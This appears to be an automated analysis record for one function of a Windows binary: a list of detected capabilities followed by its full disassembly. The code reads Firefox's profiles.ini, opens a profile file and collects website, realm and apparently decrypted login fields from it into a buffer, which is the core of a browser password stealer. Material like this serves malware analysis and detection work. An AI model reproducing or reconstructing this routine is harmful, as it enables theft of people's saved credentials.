Function at 0x1400034b0
Capabilities:
Get common file path
Get file size
Read .ini file
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x3e8
mov rax, qword [0x1400f1290]
xor rax, rsp
mov qword [rsp + 0x3d8], rax
lea rax, str.ENCWCHAR__sMozillaFirefoxprofiles.ini
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x180], rax
mov dword [rsp + 0x314], 0
jmp 0x14000350c
mov eax, dword [rsp + 0x314]
inc eax
mov dword [rsp + 0x314], eax
movsxd rax, dword [rsp + 0x314]
cmp rax, 1
jae 0x14000355d
movsxd rax, dword [rsp + 0x314]
movsxd rcx, dword [rsp + 0x314]
mov dword [rsp + 0x28], 0x96
mov rax, qword [rsp + rax*8 + 0x180]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 8
mov edx, dword [0x1400f36f4]
mov rcx, qword [rsp + rcx*8 + 0x1b0]
call fcn.14000e1b0
jmp 0x1400034fc
lea rax, [0x1400d6c98]
mov qword [rsp + 0x190], rax
lea rax, str.ENCCHAR__SMozillaFirefox_S
mov qword [rsp + 0x198], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0x318], 0
jmp 0x1400035b8
mov eax, dword [rsp + 0x318]
inc eax
mov dword [rsp + 0x318], eax
movsxd rax, dword [rsp + 0x318]
cmp rax, 2
jae 0x140003609
movsxd rax, dword [rsp + 0x318]
movsxd rcx, dword [rsp + 0x318]
mov dword [rsp + 0x28], 0x96
mov rax, qword [rsp + rax*8 + 0x1a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 7
mov edx, dword [0x1400f36f8]
mov rcx, qword [rsp + rcx*8 + 0x190]
call fcn.14000e6a0
jmp 0x1400035a8
mov dword [rsp + 0x260], 0
mov dword [rsp + 0x310], 0
mov qword [rsp + 0x188], 0
mov edx, 0x30d40
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x188], rax
cmp qword [rsp + 0x188], 0
je 0x140003e29
mov qword [rsp + 0x320], 0
mov edx, 0x2710
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x320], rax
cmp qword [rsp + 0x320], 0
je 0x140003e29
mov qword [rsp + 0x328], 0
mov edx, 0x2710
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x328], rax
cmp qword [rsp + 0x328], 0
je 0x140003e1b
lea r9, [rsp + 0x330]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400df850]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140003dde
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x338], rax
cmp qword [rsp + 0x338], 0
je 0x140003dd0
mov r9, qword [rsp + 0x330]
lea r8, [rsp + 0x50]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x338]
call fcn.1400c2880
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x340], rax
cmp qword [rsp + 0x340], 0
je 0x140003dc2
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x7fff
mov r9, qword [rsp + 0x340]
xor r8d, r8d
lea rdx, [0x1400d6d28]
mov rcx, qword [rsp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
test eax, eax
je 0x140003db4
mov edx, 0x7fff
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x348], rax
cmp qword [rsp + 0x348], 0
je 0x140003db4
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x330]
lea r8, [rsp + 0x1c0]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x348]
call fcn.1400c2f70
mov rcx, qword [rsp + 0x348]
call qword [0x1400f2af8]
test eax, eax
jne 0x140003db4
mov edx, 0x7fff
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x350], rax
cmp qword [rsp + 0x350], 0
je 0x140003dae
mov r9, qword [rsp + 0x348]
lea r8, [rsp + 0x270]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x350]
call fcn.1400c2f70
mov dword [rsp + 0x37c], 0
mov qword [rsp + 0x380], 0
mov dword [rsp + 0x378], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rsp + 0x350]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x370], rax
cmp qword [rsp + 0x370], 0xffffffffffffffff
je 0x140003da0
xor edx, edx
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x37c], eax
cmp dword [rsp + 0x37c], 0xffffffff
je 0x140003d92
mov eax, dword [rsp + 0x37c]
inc eax
mov eax, eax
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x358], rax
cmp qword [rsp + 0x358], 0
je 0x140003d92
mov eax, dword [rsp + 0x37c]
mov rcx, qword [rsp + 0x358]
mov byte [rcx + rax], 0
mov eax, dword [rsp + 0x37c]
mov rcx, qword [rsp + 0x358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x388]
mov r8d, dword [rsp + 0x37c]
mov rdx, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x37c]
cmp dword [rsp + 0x388], eax
jne 0x140003d92
lea rdx, str.hostname
mov rcx, qword [rsp + 0x358]
call fcn.14000b6b0
mov qword [rsp + 0x368], rax
cmp qword [rsp + 0x368], 0
je 0x140003d92
mov dword [rsp + 0x3c4], 1
mov dword [rsp + 0x3a0], 1
mov dword [rsp + 0x3c0], 1
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0x188]
lea rax, [rcx + rax*2]
lea rdx, [0x1400d696c]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x260]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x260], eax
mov rcx, qword [rsp + 0x368]
call fcn.140002940
mov qword [rsp + 0x3b0], rax
mov rcx, qword [rsp + 0x368]
call fcn.140002b90
mov qword [rsp + 0x3a8], rax
mov rcx, qword [rsp + 0x368]
call fcn.140002df0
mov qword [rsp + 0x3b8], rax
cmp qword [rsp + 0x3a8], 0
je 0x140003a8a
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0x188]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x3a8]
lea rdx, [0x1400d6d48]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x260]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x260], eax
mov dword [rsp + 0x3c4], 0
jmp 0x140003add
cmp qword [rsp + 0x3b0], 0
je 0x140003add
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0x188]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x3b0]
lea rdx, str.Website:__S_r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x260]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x260], eax
mov dword [rsp + 0x3c4], 0
cmp qword [rsp + 0x3b8], 0
je 0x140003b25
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0x188]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x3b8]
lea rdx, str.Realm:__S_r_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x260]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x260], eax
mov rcx, qword [rsp + 0x368]
call fcn.140003050
mov qword [rsp + 0x390], rax
cmp qword [rsp + 0x390], 0
je 0x140003c08
mov rcx, qword [rsp + 0x390]
call fcn.140003e70
mov qword [rsp + 0x3c8], rax
cmp qword [rsp + 0x3c8], 0
je 0x140003bfa
mov r8d, 0x2710
xor edx, edx
mov rcx, qword [rsp + 0x320]
call fcn.1400c2980
mov dword [rsp + 0x28], 0x12c
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x3c8]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0x188]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x320]
lea rdx, [0x1400d6da0]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x260]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x260], eax
mov dword [rsp + 0x3a0], 0
mov rcx, qword [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x368]
call fcn.140003280
mov qword [rsp + 0x398], rax
cmp qword [rsp + 0x398], 0
je 0x140003ceb
mov rcx, qword [rsp + 0x398]
call fcn.140003e70
mov qword [rsp + 0x3d0], rax
cmp qword [rsp + 0x3d0], 0
je 0x140003cdd
mov r8d, 0x2710
xor edx, edx
mov rcx, qword [rsp + 0x328]
call fcn.1400c2980
mov dword [rsp + 0x28], 0x12c
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x3d0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0x188]
lea rax, [rcx + rax*2]
mov r8, qword [rsp + 0x328]
lea rdx, [0x1400d6dc0]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x260]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x260], eax
mov dword [rsp + 0x3c0], 0
mov rcx, qword [rsp + 0x398]
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp qword [rsp + 0x3b0], 0
je 0x140003d04
mov rcx, qword [rsp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp qword [rsp + 0x3a8], 0
je 0x140003d1d
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp qword [rsp + 0x3b8], 0
je 0x140003d36
mov rcx, qword [rsp + 0x3b8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [rsp + 0x3c4], 0
jne 0x140003d54
cmp dword [rsp + 0x3a0], 0
jne 0x140003d54
cmp dword [rsp + 0x3c0], 0
je 0x140003d56
jmp 0x140003d92
mov rax, qword [rsp + 0x368]
inc rax
mov qword [rsp + 0x358], rax
mov eax, dword [rsp + 0x310]
inc eax
mov dword [rsp + 0x310], eax
mov rax, qword [rsp + 0x380]
cmp qword [rsp + 0x358], rax
jb 0x140003d8d
jmp 0x140003d92
jmp 0x140003975
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x350]
call qword [sym.imp.KERNEL32.dll_LocalFree]
call qword [0x1400f3648]
mov rcx, qword [rsp + 0x340]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x338]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x330]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [rsp + 0x310], 0
jne 0x140003e0d
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x188], 0
mov dword [rsp + 0x260], 0
mov rcx, qword [rsp + 0x328]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x320]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x260]
shl rax, 1
mov rcx, qword [rsp + 0x3f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x3d8]
xor rcx, rsp
call fcn.1400c2a80
add rsp, 0x3e8
ret